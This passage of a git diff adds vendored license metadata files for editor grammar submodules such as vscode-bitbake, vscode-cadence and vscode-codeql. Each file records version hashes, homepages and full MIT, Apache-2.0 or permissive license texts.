+    exception is made for files in readable text which contain their own license information,
+    or files where an accompanying file exists (in the same directory) with a “-license”
+    suffix added to the base-name name of the original file, and an extension of txt,
+    html, or similar. For example “tidy” is accompanied by “tidy-license.txt”."
+notices: []
diff --git a/vendor/licenses/git_submodule/tlv-vscode.dep.yml b/vendor/licenses/git_submodule/tlv-vscode.dep.yml
new file mode 100644
index 0000000000..bf2521dffd
--- /dev/null
+++ b/vendor/licenses/git_submodule/tlv-vscode.dep.yml
@@ -0,0 +1,33 @@
+---
+name: tlv-vscode
+version: af933c4b87d36310f731cad7808ff8c386c3e433
+type: git_submodule
+homepage: https://github.com/adamint/tlv-vscode
+license: mit
+licenses:
+- sources: LICENSE
+  text: |
+    The MIT License (MIT)
+
+    Copyright (c) 2016-2017 Dmytro Bogatov
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy
+    of this software and associated documentation files (the "Software"), to deal
+    in the Software without restriction, including without limitation the rights
+    to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+    copies of the Software, and to permit persons to whom the Software is
+    furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in all
+    copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+    SOFTWARE.
+- sources: README.md
+  text: "[MIT](LICENSE)"
+notices: []
diff --git a/vendor/licenses/git_submodule/toml.tmbundle.dep.yml b/vendor/licenses/git_submodule/toml.tmbundle.dep.yml
new file mode 100644
index 0000000000..b3f0986b12
--- /dev/null
+++ b/vendor/licenses/git_submodule/toml.tmbundle.dep.yml
@@ -0,0 +1,17 @@
+---
+name: toml.tmbundle
+version: e82b64c1e86396220786846201e9aa3f0a2d9ca2
+type: git_submodule
+homepage: https://github.com/textmate/toml.tmbundle
+license: permissive
+licenses:
+- sources: README.mdown
+  text: "If not otherwise specified (see below), files in this repository fall under
+    the following license:\n\n\tPermission to copy, use, modify, sell and distribute
+    this\n\tsoftware is granted. This software is provided \"as is\" without\n\texpress
+    or implied warranty, and with no claim as to its\n\tsuitability for any purpose.\n\nAn
+    exception is made for files in readable text which contain their own license information,
+    or files where an accompanying file exists (in the same directory) with a “-license”
+    suffix added to the base-name name of the original file, and an extension of txt,
+    html, or similar. For example “tidy” is accompanied by “tidy-license.txt”."
+notices: []
diff --git a/vendor/licenses/git_submodule/turtle.tmbundle.dep.yml b/vendor/licenses/git_submodule/turtle.tmbundle.dep.yml
new file mode 100644
index 0000000000..ca127fdd76
--- /dev/null
+++ b/vendor/licenses/git_submodule/turtle.tmbundle.dep.yml
@@ -0,0 +1,31 @@
+---
+name: turtle.tmbundle
+version: '0782b476573a317917fb9b3bbe7e6a68abefa7a5'
+type: git_submodule
+homepage: https://github.com/peta/turtle.tmbundle
+license: mit
+licenses:
+- sources: LICENSE
+  text: |-
+    The MIT License (MIT)
+
+    Copyright (c) 2013–2015 Peter Geil
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy
+    of this software and associated documentation files (the "Software"), to deal
+    in the Software without restriction, including without limitation the rights
+    to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+    copies of the Software, and to permit persons to whom the Software is
+    furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in all
+    copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+    SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/typst-grammar.dep.yml b/vendor/licenses/git_submodule/typst-grammar.dep.yml
new file mode 100644
index 0000000000..7be63fb71c
--- /dev/null
+++ b/vendor/licenses/git_submodule/typst-grammar.dep.yml
@@ -0,0 +1,27 @@
+---
+name: typst-grammar
+version: 180d59e6f4e09941d778b5fa6fc48d52211294a1
+type: git_submodule
+homepage: https://github.com/michidk/typst-grammar
+license: mit
+licenses:
+- sources: LICENSE
+  text: |
+    The MIT License (MIT)
+    Copyright (c) 2023 Nathan Varner
+    Permission is hereby granted, free of charge, to any person obtaining a copy
+    of this software and associated documentation files (the "Software"), to deal
+    in the Software without restriction, including without limitation the rights
+    to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+    copies of the Software, and to permit persons to whom the Software is
+    furnished to do so, subject to the following conditions:
+    The above copyright notice and this permission notice shall be included in all
+    copies or substantial portions of the Software.
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+    SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/verilog.tmbundle.dep.yml b/vendor/licenses/git_submodule/verilog.tmbundle.dep.yml
new file mode 100644
index 0000000000..28360c6bf7
--- /dev/null
+++ b/vendor/licenses/git_submodule/verilog.tmbundle.dep.yml
@@ -0,0 +1,15 @@
+---
+type: git_submodule
+name: verilog.tmbundle
+version: f55a9859f48bb6189992b86748c127044131a785
+license: permissive
+licenses:
+- text: "If not otherwise specified (see below), files in this repository fall under
+    the following license:\n\n\tPermission to copy, use, modify, sell and distribute
+    this\n\tsoftware is granted. This software is provided \"as is\" without\n\texpress
+    or implied warranty, and with no claim as to its\n\tsuitability for any purpose.\n\nAn
+    exception is made for files in readable text which contain their own license information,
+    or files where an accompanying file exists (in the same directory) with a “-license”
+    suffix added to the base-name name of the original file, and an extension of txt,
+    html, or similar. For example “tidy” is accompanied by “tidy-license.txt”."
+notices: []
diff --git a/vendor/licenses/git_submodule/vhdl.dep.yml b/vendor/licenses/git_submodule/vhdl.dep.yml
new file mode 100644
index 0000000000..17c628fc14
--- /dev/null
+++ b/vendor/licenses/git_submodule/vhdl.dep.yml
@@ -0,0 +1,15 @@
+---
+type: git_submodule
+name: vhdl
+version: ba4d6e438eedeab49217219163ade0b06f3aacab
+license: permissive
+licenses:
+- text: "If not otherwise specified (see below), files in this repository fall under
+    the following license:\n\n\tPermission to copy, use, modify, sell and distribute
+    this\n\tsoftware is granted. This software is provided \"as is\" without\n\texpress
+    or implied warranty, and with no claim as to its\n\tsuitability for any purpose.\n\nAn
+    exception is made for files in readable text which contain their own license information,
+    or files where an accompanying file exists (in the same directory) with a “-license”
+    suffix added to the base-name name of the original file, and an extension of txt,
+    html, or similar. For example “tidy” is accompanied by “tidy-license.txt”."
+notices: []
diff --git a/vendor/licenses/git_submodule/vsc-ember-syntax.dep.yml b/vendor/licenses/git_submodule/vsc-ember-syntax.dep.yml
new file mode 100644
index 0000000000..91a400749d
--- /dev/null
+++ b/vendor/licenses/git_submodule/vsc-ember-syntax.dep.yml
@@ -0,0 +1,31 @@
+---
+name: vsc-ember-syntax
+version: 5971439b47f0002d4786f41c311568be75a719a2
+type: git_submodule
+homepage: https://github.com/lifeart/vsc-ember-syntax.git
+license: mit
+licenses:
+- sources: LICENSE
+  text: |
+    MIT License
+
+    Copyright (c) 2024 Alex Kanunnikov
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy
+    of this software and associated documentation files (the "Software"), to deal
+    in the Software without restriction, including without limitation the rights
+    to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+    copies of the Software, and to permit persons to whom the Software is
+    furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in all
+    copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+    SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/vsc-fennel.dep.yml b/vendor/licenses/git_submodule/vsc-fennel.dep.yml
new file mode 100644
index 0000000000..a14843f176
--- /dev/null
+++ b/vendor/licenses/git_submodule/vsc-fennel.dep.yml
@@ -0,0 +1,31 @@
+---
+name: vsc-fennel
+version: 4fb7fc5ab382d37e203d9bda52daeab7d91e95f4
+type: git_submodule
+homepage: https://github.com/kongeor/vsc-fennel
+license: mit
+licenses:
+- sources: LICENSE
+  text: |-
+    MIT License
+
+    Copyright © 2021 Kostas Georgiadis and contributors
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy
+    of this software and associated documentation files (the "Software"), to deal
+    in the Software without restriction, including without limitation the rights
+    to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+    copies of the Software, and to permit persons to whom the Software is
+    furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in all
+    copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+    SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/vscode-TalonScript.dep.yml b/vendor/licenses/git_submodule/vscode-TalonScript.dep.yml
new file mode 100644
index 0000000000..9cc36dbdec
--- /dev/null
+++ b/vendor/licenses/git_submodule/vscode-TalonScript.dep.yml
@@ -0,0 +1,17 @@
+---
+name: vscode-TalonScript
+version: d422be3703e2b726c3538015bff9015a642eeb3e
+type: git_submodule
+homepage: https://github.com/mrob95/vscode-TalonScript.git
+license: mit
+licenses:
+- sources: LICENSE
+  text: |-
+    Copyright © 2020 Mike Roberts
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the “Software”), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED “AS IS”, WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/vscode-antlers-language-server.dep.yml b/vendor/licenses/git_submodule/vscode-antlers-language-server.dep.yml
new file mode 100644
index 0000000000..646f9ba90f
--- /dev/null
+++ b/vendor/licenses/git_submodule/vscode-antlers-language-server.dep.yml
@@ -0,0 +1,33 @@
+---
+name: vscode-antlers-language-server
+version: 157d0eac3de834662d8616fdc828f554b8a73095
+type: git_submodule
+homepage: https://github.com/Stillat/vscode-antlers-language-server.git
+license: mit
+licenses:
+- sources: LICENSE.md
+  text: |
+    The MIT License (MIT)
+
+    Copyright (c) <Johnathon Koster>
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy
+    of this software and associated documentation files (the "Software"), to deal
+    in the Software without restriction, including without limitation the rights
+    to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+    copies of the Software, and to permit persons to whom the Software is
+    furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in
+    all copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
+    THE SOFTWARE.
+- sources: README.md
+  text: Antlers Toolbox is open-sourced software licensed under the [MIT license](https://opensource.org/licenses/MIT).
+notices: []
diff --git a/vendor/licenses/git_submodule/vscode-bitbake.dep.yml b/vendor/licenses/git_submodule/vscode-bitbake.dep.yml
new file mode 100644
index 0000000000..beb1313a33
--- /dev/null
+++ b/vendor/licenses/git_submodule/vscode-bitbake.dep.yml
@@ -0,0 +1,40 @@
+---
+name: vscode-bitbake
+version: 5d149d5c5a1c368bcf970161bfe031ff2f11baed
+type: git_submodule
+homepage: https://github.com/yoctoproject/vscode-bitbake.git
+license: mit
+licenses:
+- sources: LICENSE
+  text: |
+    MIT License
+
+    Copyright (c) 2023 Savoir-faire Linux.
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy
+    of this software and associated documentation files (the "Software"), to deal
+    in the Software without restriction, including without limitation the rights
+    to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+    copies of the Software, and to permit persons to whom the Software is
+    furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in all
+    copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+    SOFTWARE.
+
+    The syntax settings used in this project are forked from
+
+    https://github.com/mholo65/vscode-bitbake
+
+    Original work Copyright (c) 2016 Richard Leitner
+    Modified work Copyright (c) 2017 Martin Björkström
+    Modified work Copyright (c) 2018 Eugen Wiens
+    Modified work Copyright (c) 2024 Savoir-faire Linux
+notices: []
diff --git a/vendor/licenses/git_submodule/vscode-brightscript-language.dep.yml b/vendor/licenses/git_submodule/vscode-brightscript-language.dep.yml
new file mode 100644
index 0000000000..7f0c56e2ac
--- /dev/null
+++ b/vendor/licenses/git_submodule/vscode-brightscript-language.dep.yml
@@ -0,0 +1,31 @@
+---
+name: vscode-brightscript-language
+version: 1e0495d019ad849a36c1fceb85f16a008939bcf4
+type: git_submodule
+homepage: https://github.com/rokucommunity/vscode-brightscript-language.git
+license: mit
+licenses:
+- sources: LICENSE
+  text: |
+    The MIT License (MIT)
+
+    Copyright (c) 2017 Bronley Plumb
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy
+    of this software and associated documentation files (the "Software"), to deal
+    in the Software without restriction, including without limitation the rights
+    to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+    copies of the Software, and to permit persons to whom the Software is
+    furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in all
+    copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+    SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/vscode-caddyfile.dep.yml b/vendor/licenses/git_submodule/vscode-caddyfile.dep.yml
new file mode 100644
index 0000000000..94d124007e
--- /dev/null
+++ b/vendor/licenses/git_submodule/vscode-caddyfile.dep.yml
@@ -0,0 +1,31 @@
+---
+name: vscode-caddyfile
+version: 7e25ac572eaf74ac916eeb2f3dc3ba2ac9faf042
+type: git_submodule
+homepage: https://github.com/caddyserver/vscode-caddyfile.git
+license: mit
+licenses:
+- sources: LICENSE
+  text: |
+    MIT License
+
+    Copyright (c) 2023 Matthew Penner
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy
+    of this software and associated documentation files (the "Software"), to deal
+    in the Software without restriction, including without limitation the rights
+    to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+    copies of the Software, and to permit persons to whom the Software is
+    furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in all
+    copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+    SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/vscode-cadence.dep.yml b/vendor/licenses/git_submodule/vscode-cadence.dep.yml
new file mode 100644
index 0000000000..d9c4928deb
--- /dev/null
+++ b/vendor/licenses/git_submodule/vscode-cadence.dep.yml
@@ -0,0 +1,211 @@
+---
+name: vscode-cadence
+version: 8763dd6938958949bdadaf311653ecb939b45b39
+type: git_submodule
+homepage: https://github.com/onflow/vscode-cadence.git
+license: apache-2.0
+licenses:
+- sources: LICENSE
+  text: |2
+                                     Apache License
+                               Version 2.0, January 2004
+                            http://www.apache.org/licenses/
+
+       TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
+
+       1. Definitions.
+
+          "License" shall mean the terms and conditions for use, reproduction,
+          and distribution as defined by Sections 1 through 9 of this document.
+
+          "Licensor" shall mean the copyright owner or entity authorized by
+          the copyright owner that is granting the License.
+
+          "Legal Entity" shall mean the union of the acting entity and all
+          other entities that control, are controlled by, or are under common
+          control with that entity. For the purposes of this definition,
+          "control" means (i) the power, direct or indirect, to cause the
+          direction or management of such entity, whether by contract or
+          otherwise, or (ii) ownership of fifty percent (50%) or more of the
+          outstanding shares, or (iii) beneficial ownership of such entity.
+
+          "You" (or "Your") shall mean an individual or Legal Entity
+          exercising permissions granted by this License.
+
+          "Source" form shall mean the preferred form for making modifications,
+          including but not limited to software source code, documentation
+          source, and configuration files.
+
+          "Object" form shall mean any form resulting from mechanical
+          transformation or translation of a Source form, including but
+          not limited to compiled object code, generated documentation,
+          and conversions to other media types.
+
+          "Work" shall mean the work of authorship, whether in Source or
+          Object form, made available under the License, as indicated by a
+          copyright notice that is included in or attached to the work
+          (an example is provided in the Appendix below).
+
+          "Derivative Works" shall mean any work, whether in Source or Object
+          form, that is based on (or derived from) the Work and for which the
+          editorial revisions, annotations, elaborations, or other modifications
+          represent, as a whole, an original work of authorship. For the purposes
+          of this License, Derivative Works shall not include works that remain
+          separable from, or merely link (or bind by name) to the interfaces of,
+          the Work and Derivative Works thereof.
+
+          "Contribution" shall mean any work of authorship, including
+          the original version of the Work and any modifications or additions
+          to that Work or Derivative Works thereof, that is intentionally
+          submitted to Licensor for inclusion in the Work by the copyright owner
+          or by an individual or Legal Entity authorized to submit on behalf of
+          the copyright owner. For the purposes of this definition, "submitted"
+          means any form of electronic, verbal, or written communication sent
+          to the Licensor or its representatives, including but not limited to
+          communication on electronic mailing lists, source code control systems,
+          and issue tracking systems that are managed by, or on behalf of, the
+          Licensor for the purpose of discussing and improving the Work, but
+          excluding communication that is conspicuously marked or otherwise
+          designated in writing by the copyright owner as "Not a Contribution."
+
+          "Contributor" shall mean Licensor and any individual or Legal Entity
+          on behalf of whom a Contribution has been received by Licensor and
+          subsequently incorporated within the Work.
+
+       2. Grant of Copyright License. Subject to the terms and conditions of
+          this License, each Contributor hereby grants to You a perpetual,
+          worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+          copyright license to reproduce, prepare Derivative Works of,
+          publicly display, publicly perform, sublicense, and distribute the
+          Work and such Derivative Works in Source or Object form.
+
+       3. Grant of Patent License. Subject to the terms and conditions of
+          this License, each Contributor hereby grants to You a perpetual,
+          worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+          (except as stated in this section) patent license to make, have made,
+          use, offer to sell, sell, import, and otherwise transfer the Work,
+          where such license applies only to those patent claims licensable
+          by such Contributor that are necessarily infringed by their
+          Contribution(s) alone or by combination of their Contribution(s)
+          with the Work to which such Contribution(s) was submitted. If You
+          institute patent litigation against any entity (including a
+          cross-claim or counterclaim in a lawsuit) alleging that the Work
+          or a Contribution incorporated within the Work constitutes direct
+          or contributory patent infringement, then any patent licenses
+          granted to You under this License for that Work shall terminate
+          as of the date such litigation is filed.
+
+       4. Redistribution. You may reproduce and distribute copies of the
+          Work or Derivative Works thereof in any medium, with or without
+          modifications, and in Source or Object form, provided that You
+          meet the following conditions:
+
+          (a) You must give any other recipients of the Work or
+              Derivative Works a copy of this License; and
+
+          (b) You must cause any modified files to carry prominent notices
+              stating that You changed the files; and
+
+          (c) You must retain, in the Source form of any Derivative Works
+              that You distribute, all copyright, patent, trademark, and
+              attribution notices from the Source form of the Work,
+              excluding those notices that do not pertain to any part of
+              the Derivative Works; and
+
+          (d) If the Work includes a "NOTICE" text file as part of its
+              distribution, then any Derivative Works that You distribute must
+              include a readable copy of the attribution notices contained
+              within such NOTICE file, excluding those notices that do not
+              pertain to any part of the Derivative Works, in at least one
+              of the following places: within a NOTICE text file distributed
+              as part of the Derivative Works; within the Source form or
+              documentation, if provided along with the Derivative Works; or,
+              within a display generated by the Derivative Works, if and
+              wherever such third-party notices normally appear. The contents
+              of the NOTICE file are for informational purposes only and
+              do not modify the License. You may add Your own attribution
+              notices within Derivative Works that You distribute, alongside
+              or as an addendum to the NOTICE text from the Work, provided
+              that such additional attribution notices cannot be construed
+              as modifying the License.
+
+          You may add Your own copyright statement to Your modifications and
+          may provide additional or different license terms and conditions
+          for use, reproduction, or distribution of Your modifications, or
+          for any such Derivative Works as a whole, provided Your use,
+          reproduction, and distribution of the Work otherwise complies with
+          the conditions stated in this License.
+
+       5. Submission of Contributions. Unless You explicitly state otherwise,
+          any Contribution intentionally submitted for inclusion in the Work
+          by You to the Licensor shall be under the terms and conditions of
+          this License, without any additional terms or conditions.
+          Notwithstanding the above, nothing herein shall supersede or modify
+          the terms of any separate license agreement you may have executed
+          with Licensor regarding such Contributions.
+
+       6. Trademarks. This License does not grant permission to use the trade
+          names, trademarks, service marks, or product names of the Licensor,
+          except as required for reasonable and customary use in describing the
+          origin of the Work and reproducing the content of the NOTICE file.
+
+       7. Disclaimer of Warranty. Unless required by applicable law or
+          agreed to in writing, Licensor provides the Work (and each
+          Contributor provides its Contributions) on an "AS IS" BASIS,
+          WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
+          implied, including, without limitation, any warranties or conditions
+          of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
+          PARTICULAR PURPOSE. You are solely responsible for determining the
+          appropriateness of using or redistributing the Work and assume any
+          risks associated with Your exercise of permissions under this License.
+
+       8. Limitation of Liability. In no event and under no legal theory,
+          whether in tort (including negligence), contract, or otherwise,
+          unless required by applicable law (such as deliberate and grossly
+          negligent acts) or agreed to in writing, shall any Contributor be
+          liable to You for damages, including any direct, indirect, special,
+          incidental, or consequential damages of any character arising as a
+          result of this License or out of the use or inability to use the
+          Work (including but not limited to damages for loss of goodwill,
+          work stoppage, computer failure or malfunction, or any and all
+          other commercial damages or losses), even if such Contributor
+          has been advised of the possibility of such damages.
+
+       9. Accepting Warranty or Additional Liability. While redistributing
+          the Work or Derivative Works thereof, You may choose to offer,
+          and charge a fee for, acceptance of support, warranty, indemnity,
+          or other liability obligations and/or rights consistent with this
+          License. However, in accepting such obligations, You may act only
+          on Your own behalf and on Your sole responsibility, not on behalf
+          of any other Contributor, and only if You agree to indemnify,
+          defend, and hold each Contributor harmless for any liability
+          incurred by, or claims asserted against, such Contributor by reason
+          of your accepting any such warranty or additional liability.
+
+       END OF TERMS AND CONDITIONS
+
+       APPENDIX: How to apply the Apache License to your work.
+
+          To apply the Apache License to your work, attach the following
+          boilerplate notice, with the fields enclosed by brackets "[]"
+          replaced with your own identifying information. (Don't include
+          the brackets!)  The text should be enclosed in the appropriate
+          comment syntax for the file format. We also recommend that a
+          file or class name and description of purpose be included on the
+          same "printed page" as the copyright notice for easier
+          identification within third-party archives.
+
+       Copyright [yyyy] [name of copyright owner]
+
+       Licensed under the Apache License, Version 2.0 (the "License");
+       you may not use this file except in compliance with the License.
+       You may obtain a copy of the License at
+
+           http://www.apache.org/licenses/LICENSE-2.0
+
+       Unless required by applicable law or agreed to in writing, software
+       distributed under the License is distributed on an "AS IS" BASIS,
+       WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+       See the License for the specific language governing permissions and
+       limitations under the License.
+notices: []
diff --git a/vendor/licenses/git_submodule/vscode-codeql.dep.yml b/vendor/licenses/git_submodule/vscode-codeql.dep.yml
new file mode 100644
index 0000000000..a89585bf49
--- /dev/null
+++ b/vendor/licenses/git_submodule/vscode-codeql.dep.yml
@@ -0,0 +1,35 @@
+---
+name: vscode-codeql
+version: dffbcc28bb55e864aba3401d856f0aff4971ad15
+type: git_submodule
+homepage: https://github.com/github/vscode-codeql
+license: mit
+licenses:
+- sources: LICENSE.md
+  text: |
+    Copyright (c) 2019 GitHub, Inc.
+
+    Permission is hereby granted, free of charge, to any person obtaining
+    a copy of this software and associated documentation files (the
+    "Software"), to deal in the Software without restriction, including
+    without limitation the rights to use, copy, modify, merge, publish,
+    distribute, sublicense, and/or sell copies of the Software, and to
+    permit persons to whom the Software is furnished to do so, subject to
+    the following conditions:
+
+    The above copyright notice and this permission notice shall be
+    included in all copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+    EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+    MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+    NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
+    LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
+    OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
+    WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+- sources: README.md
+  text: |-
+    The CodeQL extension for Visual Studio Code is [licensed](LICENSE.md) under the MIT License. The version of CodeQL used by the CodeQL extension is subject to the [CodeQL Research Terms & Conditions](https://securitylab.github.com/tools/codeql/license).
+
+    When using the GitHub logos, be sure to follow the [GitHub logo guidelines](https://github.com/logos).
+notices: []
diff --git a/vendor/licenses/git_submodule/vscode-cue.dep.yml b/vendor/licenses/git_submodule/vscode-cue.dep.yml
new file mode 100644
index 0000000000..7f30ee3cc0
--- /dev/null
+++ b/vendor/licenses/git_submodule/vscode-cue.dep.yml
@@ -0,0 +1,31 @@
+---
+name: vscode-cue
